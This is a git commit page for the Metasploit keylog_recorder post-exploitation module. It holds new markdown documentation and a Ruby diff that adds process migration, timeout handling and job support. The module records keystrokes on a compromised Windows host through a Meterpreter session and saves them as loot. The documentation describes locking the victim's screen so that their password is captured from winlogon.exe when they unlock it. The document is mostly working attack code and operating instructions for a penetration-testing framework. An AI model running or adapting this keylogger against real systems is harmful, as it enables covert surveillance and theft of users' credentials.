Land #7106, multiple keylog_recorder improvements

bug/bundler_fix
wchen-r7 2016-07-25 14:54:06 -05:00
commit df15eebdf8
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
2 changed files with 347 additions and 113 deletions

View File

@ -0,0 +1,76 @@
## Overview
This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks.
## Requirements
- Windows Meterpreter Session
## Module Options
- **CAPTURE_TYPE** - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer.
- **INTERVAL** - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds.
- **LOCKSCREEN** - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE.
- **MIGRATE** - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE.
- **PID** - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine.
- **SESSION** - The session to run the module on.
### Advanced Options
- **ShowKeystrokes** - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE.
- **TimeOutAction** - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait.
## Usage
The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module.
### Capture Types
- **Explorer.exe** - __Session must be in explorer.exe__ - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. **NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe.** It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained.
- **Winlogon.exe** - __Session must be in winlogon.exe__ - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured.
- **PID** - __Session must be in the specific process to be recorded.__ - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded.
## Running Module as a Job
It is recommended to run this module as a job using: `exploit -j` or `run -j`. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using `jobs -k`. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically.
### TimeOutAction
This module has two actions it can take if module requests time out. This occurs with packet-based payloads like `reverse_http` or `reverse_https` when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off.
- **WAIT** - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically.
- **EXIT** - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp.
### Running Module Stand Alone
When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use `CTRL-C` to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete.
## Example Output
```
Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500
This is an ex
ample output from keylog_recorder.
<Return> <Return> On this line I make a typpor <Back> <Back> <Back>
o. <Return>
<Return> Username <Tab> Password <Return>
<Return>
<N1> <N9> <N2> <Decimal> <N1> <N6> <N8> <Decimal> <N1> <Decimal> <N1> <N0> <N0> <Return>
Copy <Left> <Left> <Left> <Left> <Ctrl> <LCtrl> c <Right> <Right> <Right> <Right> <Return> <Return> <Ctrl> <LCtrl> v <Return> <Return>
Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500
Keylog Recorder resumed at 2016-07-13 21:11:36 -0500
<Return> T
his is keys logged after the computer
was put to sleep and then woken back up.
<Return>
Keylog Recorder exited at 2016-07-13 21:12:44 -0500
```

View File

@ -22,10 +22,11 @@ class MetasploitModule < Msf::Post
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
password. password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Josh Hale <jhale85446[at]gmail.com>'],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', ] 'SessionTypes' => [ 'meterpreter', ]
@ -34,7 +35,7 @@ class MetasploitModule < Msf::Post
[ [
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]), OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]), OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]), OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]), OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID', OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
'explorer', ['explorer','winlogon','pid']]) 'explorer', ['explorer','winlogon','pid']])
@ -42,41 +43,63 @@ class MetasploitModule < Msf::Post
], self.class) ], self.class)
register_advanced_options( register_advanced_options(
[ [
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]) OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
OptEnum.new('TimeOutAction', [true, 'Action to take when session response timeout occurs.',
'wait', ['wait','exit']])
], self.class) ], self.class)
end end
# Run Method for when run command is issued
def run def run
print_status("Executing module against #{sysinfo['Computer']}") print_status("Executing module against #{sysinfo['Computer']}")
if datastore['MIGRATE'] if datastore['MIGRATE']
case datastore['CAPTURE_TYPE'] if datastore['CAPTURE_TYPE'] == "pid"
when "explorer" return unless migrate_pid(datastore['PID'], session.sys.process.getpid)
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "winlogon"
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
when "pid"
if datastore['PID'] and has_pid?(datastore['PID'])
pid_migrate(datastore['PID'])
else else
print_error("If capture type is pid you must provide a valid one") return unless process_migrate
return
end end
end end
end lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe"
if startkeylogger if start_keylogger
keycap(datastore['INTERVAL'],set_log) @logfile = set_log
keycap
end end
end end
# Returns the path name to the stored loot filename # Initial Setup values
#
# @return [void] A useful return value is not expected here
def setup
@logfile = nil
@timed_out = false
@timed_out_age = nil # Session age when it timed out
@interval = datastore['INTERVAL'].to_i
@wait = datastore['TimeOutAction'] == "wait" ? true : false
if @interval < 1
print_error("INTERVAL value out of bounds. Setting to 5.")
@interval = 5
end
end
# This function sets the log file and loot entry.
#
# @return [StringClass] Returns the path name to the stored loot filename
def set_log def set_log
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes") store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes")
end end
# This writes a timestamp event to the output file.
#
# @return [void] A useful return value is not expected here
def time_stamp(event)
file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
end
# This locks the Windows screen if so requested in the datastore.
#
# @return [void] A useful return value is not expected here
def lock_screen def lock_screen
print_status("Locking the desktop...") print_status("Locking the desktop...")
lock_info = session.railgun.user32.LockWorkStation() lock_info = session.railgun.user32.LockWorkStation()
@ -87,116 +110,251 @@ class MetasploitModule < Msf::Post
end end
end end
# Method to Migrate in to Explorer process to be able to interact with desktop # This function returns the process name that the session is running in.
def process_migrate(captype,lock) #
print_status("Migration type #{captype}") # Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#begin #
if captype == "explorer" # @return [String Class] the session process's name
process2mig = "explorer.exe" # @return [NilClass] Session match was not found
elsif captype == "winlogon" def get_process_name
processes = client.sys.process.get_processes
current_pid = session.sys.process.getpid
processes.each do |proc|
return proc['name'] if proc['pid'] == current_pid
end
return nil
end
# This function evaluates the capture type and migrates accordingly.
# In the event of errors, it will default to the explorer capture type.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def process_migrate
captype = datastore['CAPTURE_TYPE']
if captype == "winlogon"
if is_uac_enabled? and not is_admin? if is_uac_enabled? and not is_admin?
print_error("UAC is enabled on this host! Winlogon migration will be blocked.") print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...")
return false
end
process2mig = "winlogon.exe"
if lock
lock_screen
end
else else
process2mig = "explorer.exe" return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
end
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
session.core.migrate(x['pid'].to_i)
print_status("Migration successful!!")
end end
end end
return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid)
end
# This function returns the first process id of a process with the name provided.
# It will make sure that the process has a visible user meaning that the session has rights to that process.
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#
# @return [Fixnum] the PID if one is found
# @return [NilClass] if no PID was found
def get_pid(proc_name)
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['name'] == proc_name && proc['user'] != ""
return proc['pid']
end
end
return nil
end
# This function attempts to migrate to the specified process by Name.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate(target_pid, proc_name, current_pid)
if !target_pid
print_error("Could not migrate to #{proc_name}. Exiting...")
return false
end
print_status("Trying #{proc_name} (#{target_pid})")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true return true
end end
# Method for migrating in to a PID
def pid_migrate(pid)
print_status("\tMigrating into #{pid}...")
session.core.migrate(pid)
print_status("Migration successful!")
end
# Method for starting the keylogger
def startkeylogger()
begin begin
#print_status("Grabbing Desktop Keyboard Input...") client.core.migrate(target_pid)
#session.ui.grab_desktop print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true return true
rescue rescue Rex::Post::Meterpreter::RequestError => error
print_error("Failed to start the keystroke sniffer: #{$!}") print_error("Could not migrate to #{proc_name}. Exiting...")
print_error(error.to_s)
return false return false
end end
end end
# Method for writing found keystrokes # This function attempts to migrate to the specified process by PID only.
def write_keylog_data(logfile) #
data = session.ui.keyscan_dump # @return [TrueClass] if it successfully migrated
outp = "" # @return [FalseClass] if it failed to migrate
data.unpack("n*").each do |inp| def migrate_pid(target_pid, current_pid)
fl = (inp & 0xff00) >> 8 if !target_pid
vk = (inp & 0xff) print_error("Could not migrate to PID #{target_pid}. Exiting...")
kc = VirtualKeyCodes[vk] return false
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
end end
sleep(2) if !has_pid?(target_pid)
if not outp.empty? print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes'] return false
file_local_write(logfile,"#{outp}\n") end
end
print_status("Trying PID: #{target_pid}")
if target_pid == current_pid
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
end end
# Method for Collecting Capture
def keycap(keytime, logfile)
begin begin
client.core.migrate(target_pid)
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue Rex::Post::Meterpreter::RequestError => error
print_error("Could not migrate to PID #{target_pid}. Exiting...")
print_error(error.to_s)
return false
end
end
# This function starts the keylogger
#
# @return [TrueClass] keylogger started successfully
# @return [FalseClass] keylogger failed to start
def start_keylogger
session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason.
begin
print_status("Starting the keylog recorder...")
session.ui.keyscan_start
return true
rescue
print_error("Failed to start the keylog recorder: #{$!}")
return false
end
end
# This function dumps the keyscan and uses the API function to parse
# the extracted keystrokes.
#
# @return [void] A useful return value is not expected here
def write_keylog_data
output = session.ui.keyscan_extract(session.ui.keyscan_dump)
if not output.empty?
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
file_local_write(@logfile,"#{output}\n")
end
end
# This function manages the key recording process
# It stops the process if the session is killed or goes stale
#
# @return [void] A useful return value is not expected here
def keycap
rec = 1 rec = 1
#Creating DB for captured keystrokes print_status("Keystrokes being saved in to #{@logfile}")
print_status("Keystrokes being saved in to #{logfile}")
#Inserting keystrokes every number of seconds specified
print_status("Recording keystrokes...") print_status("Recording keystrokes...")
while rec == 1 while rec == 1
write_keylog_data(logfile) begin
sleep(keytime.to_i) sleep(@interval)
if session_good?
write_keylog_data
else
if !session.alive?
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
rec = 0
end
end end
rescue::Exception => e rescue::Exception => e
print_status "Saving last few keystrokes..." if e.class.to_s == "Rex::TimeoutError"
write_keylog_data(logfile) @timed_out_age = get_session_age
print_status("#{e.class} #{e}") @timed_out = true
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop if @wait
time_stamp("timed out - now waiting")
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
else
time_stamp("timed out - exiting")
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
rec = 0
end
elsif e.class.to_s == "Interrupt"
print_status("User interrupt.")
rec = 0
else
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
@timed_out = true
rec = 0
end
end
end end
end end
def cleanup # This function returns the number of seconds since the last time
# that the session checked in.
#
# @return [Integer Class] Number of seconds since last checkin
def get_session_age
return Time.now.to_i - session.last_checkin.to_i
end
# This function makes sure a session is still alive acording to the Framework.
# It also checks the timed_out flag. Upon resume of session it resets the flag so
# that logging can start again.
#
# @return [TrueClass] Session is still alive (Framework) and not timed out
# @return [FalseClass] Session is dead or timed out
def session_good?
return false if !session.alive?
if @timed_out
if get_session_age < @timed_out_age && @wait
time_stamp("resumed")
@timed_out = false #reset timed out to false, if module set to wait and session becomes active again.
end
return !@timed_out
end
return true
end
# This function writes off the last set of key strokes
# and shuts down the key logger
#
# @return [void] A useful return value is not expected here
def finish_up
print_status("Shutting down keylog recorder. Please wait...")
last_known_timeout = session.response_timeout
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
begin
sleep(@interval)
write_keylog_data
rescue::Exception => e
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
session.response_timeout = last_known_timeout
return
end
session.ui.keyscan_stop rescue nil session.ui.keyscan_stop rescue nil
session.response_timeout = last_known_timeout
end end
# This function cleans up the module.
# finish_up was added for a clean exit when this module is run as a job.
#
# Known Issue: This appears to run twice when killing the job. Not sure why.
# Does not cause issues with output or errors.
#
# @return [void] A useful return value is not expected here
def cleanup
if @logfile #make sure there is a log file meaning keylog started and migration was successful, if used.
finish_up if session_good?
time_stamp("exited")
end
end
end end